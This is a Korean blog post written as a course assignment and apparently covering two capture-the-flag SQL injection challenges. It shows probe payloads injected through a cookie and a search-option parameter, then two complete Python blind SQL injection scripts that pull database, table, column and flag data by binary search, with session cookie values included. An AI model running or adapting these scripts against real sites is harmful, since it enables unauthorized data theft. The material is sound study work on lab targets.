2023. 12. 20. 01:30ㆍnormaltic 취업반 5기/과제
SQL Injection Advanced
- 과제 목표 : SQL Injection Point를 찾고 DB 데이터를 추출하여 Flag를 찾기
SQL Injection Point 1 문제
해당 문제에서의 실습용 웹 애플리케이션이다. SQL Injection Point를 찾는 작업을 진행한 후 SQL Injection 공격을 진행하도록 한다. 먼저 Login 버튼을 클릭해 보자.
Login 버튼을 클릭하면 로그인 페이지를 확인할 수 있다. Sign up 버튼을 클릭하여 계정을 새로 생성한 후 로그인을 하게 되면 마이페이지, 게시판, Logout 버튼이 나타난다. SQL Injection은 SQL 질의문이 사용되는 위치에서 공격 수행이 가능하다. 우선 마이페이지 버튼을 클릭하여 Point가 있는지 확인해 보자.
마이페이지에서 SQL 질의문이 사용되는 부분은 사용자 측의 SESSION ID를 참고하여 사용자 계정 정보를 출력해 준다. SESSION ID는 요청 시 Cookie 형태로 같이 전달한다. 그렇다면 Cookie를 확인하기 위해 Burp Suite로 확인해 보자.
Cookie를 확인한 결과 user라는 쿠키명에 쿠키값으로 사용자 계정이 존재하는 것을 확인할 수 있었다. 이를 통해 'user라는 쿠키로 사용자를 식별한다'라는 것과 다음과 같은 SQL 질의문을 사용하는 것으로 추측해 볼 수 있다.
SQL 질의문의 구성이 어떤 형태인지 추측해 봤으니 이를 검증하기 위해서 user 쿠키값으로 vanhart' AND '1'='1라는 질의문을 삽입하여 응답 결과를 확인해 보자.
응답 결과 같은 내용으로 출력되는 것으로 추측했던 내용이 검증되었으며 Cookie를 통해 SQL Injection 공격이 가능하다는 점을 알게 되었다. 또한 vanhart' AND '1'='2 라는 질의문을 삽입함으로써 DB에 존재하지 않는 계정이 질의문에 삽입되면 가운데 출력칸에 'Nothing Here...' 라는 문자열이 출력되지 않으며 vanhart' and extractvalue('1', concat(0x3a,(select 'test'))) and '1'='1 라는 질의문을 삽입함으로써 에러 메시지가 출력되지 않는 것도 확인되었다.
지금까지 확인된 정보를 나열하면 다음과 같다.
- 마이페이지에서는 user라는 쿠키로 사용자를 식별한다.
- user 쿠키의 쿠키값을 SQL 질의문에 삽입하여 조회한 사용자 정보를 출력한다.
- user 쿠키로 SQL Injection 공격이 가능하며 참과 거짓을 구분할 수 있다.
- SQL 질의문 에러 메시지는 출력되지 않는다.
위 정보들을 취합하면 SQL 질의문의 결과는 출력되지 않으니 Union Based SQL Injection는 사용할 수 없으며, SQL 질의문 에러 메시지도 출력되지 않아 Error Based SQL Injection도 사용할 수 없다. 하지만 참과 거짓의 결과를 구분할 수 있어 Blind SQL Injection은 사용 가능하다. 그렇다면 Blind SQL Injection 공격을 진행하도록 하자.
SQL Injection Point 1 문제 : Blind SQL Injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
|
import requests
URL = "http://ctf.segfaulthub.com:7777/sqli_6/mypage.php" # 공격 대상 변경 시 수정
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36",
} # 공격 대상 변경 시 수정
def printUI() :
print("====================================================================\n")
print(" Blind SQL Injection Program by vanhart \n")
print("====================================================================\n")
print("단계별 공격을 선택해주세요.(원하는 옵션 숫자를 입력해주세요.)\n")
print("1. DB 이름 찾기\n2. TABLE 이름 찾기\n3. COLUMN 이름 찾기\n4. DATA 추출\n5. 종료\n")
print("====================================================================\n")
def select_query(select_num) :
db_name = ""
table_name = ""
column_name = ""
if(select_num == '1'):
query = "select database()"
elif(select_num == '2'):
print("\n====================================================================\n")
db_name = input('DB 이름을 입력해주세요.\n입력 : ')
print("\n====================================================================\n")
query = "select table_name from information_schema.tables where table_schema = '"+db_name+"' limit {},1"
elif(select_num == '3'):
print("\n====================================================================\n")
table_name = input('TABLE 이름을 입력해주세요.\n입력 : ')
print("\n====================================================================\n")
query = "select column_name from information_schema.columns where table_name = '"+table_name+"' limit {},1"
else:
print("\n====================================================================\n")
table_name = input('TABLE 이름을 입력해주세요.\n입력 : ')
print("\n====================================================================\n")
column_name = input('COLUMN 이름을 입력해주세요.\n입력 : ')
print("\n====================================================================\n")
query = "select "+column_name+" from "+table_name+" limit {},1"
return query
def binary_search(query) :
ref = "Nothing Here" # 공격 대상 변경 시 수정
blind_format = "' AND ascii(substr(({}),{},1)) > {} AND '1'='1" # Blind SQL Injection Format
position = 1 # 문자열 위치 변수
start = 32 # 아스키 코드 '!'부터
end = 126 # 아스키 코드 '~'까지 비교
value = "" # 결과를 저장할 변수
while True :
# 이진 탐색 시 중간값을 계속해서 변경한다.
mid = int((start+end)/2)
# 문자열의 끝에 다다랐을 경우를 판단하기 위한 payload,
payload = {
"user":"vanhart" + blind_format.format(query, position, 0),
"session":"4ae7545d-0d27-49c8-888e-7ce400ceb9bf.F2HJBPAuyKMRg-hGPYFexXh1QVE",
"PHPSESSID":"54hbu39s18dq1gkfro114p0qh0"
}
response = requests.get(URL, cookies=payload, headers=headers) # POST 메소드로 요청, GET 메소드로 요청 시에는 바꿔준다.
if ref in response.text : # 문자열의 끝에 다다른 경우 NULL값을 반환하므로 프로그램 종료
payload = {
"user":"vanhart" + blind_format.format(query, position, mid),
"session":"4ae7545d-0d27-49c8-888e-7ce400ceb9bf.F2HJBPAuyKMRg-hGPYFexXh1QVE",
"PHPSESSID":"54hbu39s18dq1gkfro114p0qh0"
}
response = requests.get(URL, cookies=payload, headers=headers) # POST 메소드로 요청, GET 메소드로 요청 시에는 바꿔준다.
if ref in response.text :
start = mid # 응답 결과 TRUE이면 start 값을 mid로 바꾼다
else :
end = mid # 응답 결과 FALSE면 end 값을 mid로 바꾼다
# start값에 1 더한 값이 end 값과 같거나 크면 end 값이 찾던 문자를 의미.
if start + 1 >= end :
value += chr(end)
position += 1
# 초기화
start = 32
end = 126
else :
break
return value
while True :
# UI 출력
printUI()
select_num = input('선택 번호 : ')
# 프로그램 종료를 원한다면 5 입력
if select_num == '5':
break
else :
print("-결과-\n")
query = select_query(select_num)
if(select_num == '1') :
result = binary_search(query)
print(result+"\n")
else :
i=0
while True :
result = binary_search(query.format(i))
if(result == "") :
break
else :
print(result+"\n")
i+=1
|
cs |
|
위 python 코드는 Blind SQL Injection에 쓰일 자동화 프로그램 코드다. 조건에 맞게 입력 후 프로그램을 실행한다.
1) DB 이름
DB 이름 조회 결과 'sqli_6'로 확인되었다.
2) TABLE 이름
TABLE 이름 조회 결과 'board, flag_table, member'로 세 개의 TABLE이 존재하는 것으로 확인되었다.
3) COLUMN 이름
플레그는 flag_table에 있을 것으로 추정되므로 먼저 flag_table의 COLUMN 이름을 조회하도록 하자.
COLUMN 이름 조회 결과 'idx, flag'로 두 개의 COLUMN이 존재하는 것으로 확인 되었다.
4) DATA 추출
플레그는 flag에 있을 것으로 추정되므로 먼저 flag의 데이터를 추출하도록 하자.
DATA 추출 결과 'flagIsHere!!Come, 플레그'로 두 개의 DATA가 존재하며 그중 하나는 플레그인 것으로 확인이 되었다.
SQL Injection Point 2 문제
해당 문제에서의 실습용 웹 애플리케이션이다. SQL Injection Point를 찾는 작업을 진행한 후 SQL Injection 공격을 진행하도록 한다. 먼저 Login 버튼을 클릭해 보자.
Login 버튼을 클릭하면 로그인 페이지를 확인할 수 있다. Sign up 버튼을 클릭하여 계정을 새로 생성한 후 로그인을 하게 되면 마이페이지, 게시판, Logout 버튼이 나타난다. SQL Injection은 SQL 질의문이 사용되는 위치에서 공격 수행이 가능하다. 우선 마이페이지 버튼을 클릭하여 Point가 있는지 확인해 보자.
마이페이지에서 SQL 질의문이 사용되는 부분은 사용자 측의 SESSION ID를 참고하여 사용자 계정 정보를 출력해 준다. SESSION ID는 요청 시 Cookie 형태로 같이 전달한다. 그렇다면 Cookie를 확인하기 위해 Burp Suite로 확인해 보자.
Cookie를 확인한 결과 사용자 식별은 SESSION ID로 식별하는 것으로 추측해 볼 수 있다. 이를 통해 마이페이지에서는 SQL Injection Point가 될 가능성이 희미하다. 그렇다면 돌아가서 게시판 버튼을 클릭하도록 하자.
게시판에서 SQL 질의문이 사용되는 위치는 게시글 조회 입력칸과 조회 시 입력 기준을 선택할 수 있는 콤보박스이다. 만약 게시글 조회 입력칸에서 SQL Injection이 가능하다면 Union Based SQL Injection을 사용 가능하기 때문에 입력칸에 SQL 질의문을 삽입해 보도록 하자. 또한 이를 위해 게시글을 어느 정도 생성해 두자.
게시글 조회 입력칸에서 사용되는 SQL 질의문은 문자열이 완벽히 일치하는 경우와 일부만 입력해도 조회되는 경우가 존재한다. 이것을 확인하기 위해 조회 기준을 작성자로 선택하고 'van'이란 문자열을 입력하여 게시글이 조회되는지 확인해 보자.
일부 문자열만 입력해도 게시글이 조회되는 것으로 보아 SQL 질의문은 일부만 입력해도 조회되는 경우이며 이 경우에 사용되는 SQL 질의문은 다음과 같다.
일부만 입력해도 조회되는 경우는 LIKE 구문을 사용한다. 이제 SQL 질의문도 특정지었으니 게시글 조회 입력칸에서 SQL 질의문을 삽입함으로써 SQL Injection Point가 될 가능성이 있는지 확인해 보자.
SQL 질의문을 삽입한 결과 게시글이 출력되지 않았다. 그렇다면 이 위치에서는 SQL Injection Point가 될 가능성이 희미하다. 남은 위치는 조회 시 입력 기준을 선택할 수 있는 콤보박스이다. 해당 위치는 요청 시 파라미터로 그 값을 전달하기 때문에 Burp Suite로 확인해봐야 한다.
Burp Suite로 확인한 결과 option_val라는 파라미터로 콤보박스의 값을 전달하는 것으로 확인이 되었다. 해당 위치에서의 SQL 질의문은 다음과 같이 추측해 볼 수 있다.
option_val 파라미터로 전달하는 데이터는 SQL 질의문의 컬럼명일 확률이 높다. 이를 확인해 보기 위해 option_val='1'='1' AND username과 board_result=van로 요청해 보자.
응답 결과 같은 내용을 출력하는 것으로 보아 SQL Injection Point로 사용 가능하다. 또한 해당 위치에서 참과 거짓의 결과를 게시글 출력 유무로 판단 가능하기 때문에 Blind SQL Injection을 사용 가능하다. 그렇다면 Blind SQL Injection 공격을 진행하도록 하자.
SQL Injection Point 2 문제 : Blind SQL Injection
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
|
import requests
URL = "http://ctf.segfaulthub.com:7777/sqli_7/notice_list.php" # 공격 대상 변경 시 수정
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36",
} # 공격 대상 변경 시 수정
def printUI() :
print("====================================================================\n")
print(" Blind SQL Injection Program by vanhart \n")
print("====================================================================\n")
print("단계별 공격을 선택해주세요.(원하는 옵션 숫자를 입력해주세요.)\n")
print("1. DB 이름 찾기\n2. TABLE 이름 찾기\n3. COLUMN 이름 찾기\n4. DATA 추출\n5. 종료\n")
print("====================================================================\n")
def select_query(select_num) :
db_name = ""
table_name = ""
column_name = ""
if(select_num == '1'):
query = "select database()"
elif(select_num == '2'):
print("\n====================================================================\n")
db_name = input('DB 이름을 입력해주세요.\n입력 : ')
print("\n====================================================================\n")
query = "select table_name from information_schema.tables where table_schema = '"+db_name+"' limit {},1"
elif(select_num == '3'):
print("\n====================================================================\n")
table_name = input('TABLE 이름을 입력해주세요.\n입력 : ')
print("\n====================================================================\n")
query = "select column_name from information_schema.columns where table_name = '"+table_name+"' limit {},1"
else:
print("\n====================================================================\n")
table_name = input('TABLE 이름을 입력해주세요.\n입력 : ')
print("\n====================================================================\n")
column_name = input('COLUMN 이름을 입력해주세요.\n입력 : ')
print("\n====================================================================\n")
query = "select "+column_name+" from "+table_name+" limit {},1"
return query
def binary_search(query) :
ref = "존재하지 않습니다." # 공격 대상 변경 시 수정
blind_format = " ascii(substr(({}),{},1)) > {} AND " # Blind SQL Injection Format
position = 1 # 문자열 위치 변수
start = 32 # 아스키 코드 '!'부터
end = 126 # 아스키 코드 '~'까지 비교
value = "" # 결과를 저장할 변수
while True :
# 이진 탐색 시 중간값을 계속해서 변경한다.
mid = int((start+end)/2)
# 문자열의 끝에 다다랐을 경우를 판단하기 위한 payload,
payload = {
"option_val": blind_format.format(query, position, 0) + "username",
"board_result" : "",
"board_search" : "%F0%9F%94%8D",
"date_from" : "",
"date_to" : ""
}
cookies={
"session" : "4ae7545d-0d27-49c8-888e-7ce400ceb9bf.F2HJBPAuyKMRg-hGPYFexXh1QVE",
"PHPSESSID" : "hrao5lkl3l6q0gvs5k3smdv20n"
}
response = requests.post(URL, data=payload, cookies=cookies, headers=headers) # POST 메소드로 요청, GET 메소드로 요청 시에는 바꿔준다.
if ref in response.text : # 문자열의 끝에 다다른 경우 NULL값을 반환하므로 프로그램 종료
break
else :
payload = {
"option_val": blind_format.format(query, position, mid) + "username",
"board_result" : "",
"board_search" : "%F0%9F%94%8D",
"date_from" : "",
"date_to" : ""
}
cookies={
"session" : "4ae7545d-0d27-49c8-888e-7ce400ceb9bf.F2HJBPAuyKMRg-hGPYFexXh1QVE",
"PHPSESSID" : "hrao5lkl3l6q0gvs5k3smdv20n"
}
response = requests.post(URL, data=payload, cookies=cookies, headers=headers) # POST 메소드로1 요청, GET 메소드로 요청 시에는 바꿔준다.
if ref in response.text :
end = mid # 응답 결과 FALSE이면 end 값을 mid로 바꾼다
else :
start = mid # 응답 결과 TRUE면 start 값을 mid로 바꾼다
# start값에 1 더한 값이 end 값과 같거나 크면 end 값이 찾던 문자를 의미.
if start + 1 >= end :
value += chr(end)
position += 1
# 초기화
start = 32
end = 126
return value
while True :
# UI 출력
printUI()
select_num = input('선택 번호 : ')
# 프로그램 종료를 원한다면 5 입력
if select_num == '5':
break
else :
print("-결과-\n")
query = select_query(select_num)
if(select_num == '1') :
result = binary_search(query)
print(result+"\n")
else :
i=0
while True :
result = binary_search(query.format(i))
if(result == "") :
break
else :
print(result+"\n")
i+=1
|
cs |
위 python 코드는 Blind SQL Injection에 쓰일 자동화 프로그램 코드다. 조건에 맞게 입력 후 프로그램을 실행한다.
1) DB 이름
DB 이름 조회 결과 'sqli_7'로 확인되었다.
2) TABLE 이름
TABLE 이름 조회 결과 'board, flagTable, member'로 세 개의 TABLE이 존재하는 것으로 확인되었다.
3) COLUMN 이름
플레그는 flagTable에 있을 것으로 추정되므로 먼저 flagTable의 COLUMN 이름을 조회하도록 하자.
COLUMN 이름 조회 결과 'idx, flag'로 두 개의 COLUMN이 존재하는 것으로 확인되었다.
4) DATA 추출
플레그는 flag에 있을 것으로 추정되므로 먼저 flag의 데이터를 추출하도록 하자.
DATA 추출 결과 'fjfjiejowkdnf, wefsddvcvf, 플레그'로 세 개의 DATA가 존재하며 그중 하나는 플레그인 것으로 확인이 되었다.
'normaltic 취업반 5기 > 과제' 카테고리의 다른 글
[normaltic 취업반 5기] 2023-12-13 8주차 과제 : 4번 과제 (0) | 2023.12.20 |
---|---|
[normaltic 취업반 5기] 2023-12-13 8주차 과제 : 3번 과제 SQL Injection Advanced 3,4 (2) | 2023.12.20 |
[normaltic 취업반 5기] 2023-12-13 8주차 과제 : 2번 과제 SQL Injection 공격 기법 정리 (0) | 2023.12.16 |
[normaltic 취업반 5기] 2023-12-06 7주차 과제 : SQL 6번 문제 (0) | 2023.12.07 |
[normaltic 취업반 5기] 2023-12-06 7주차 과제 : SQL 3, 4, 5번 문제 (0) | 2023.12.07 |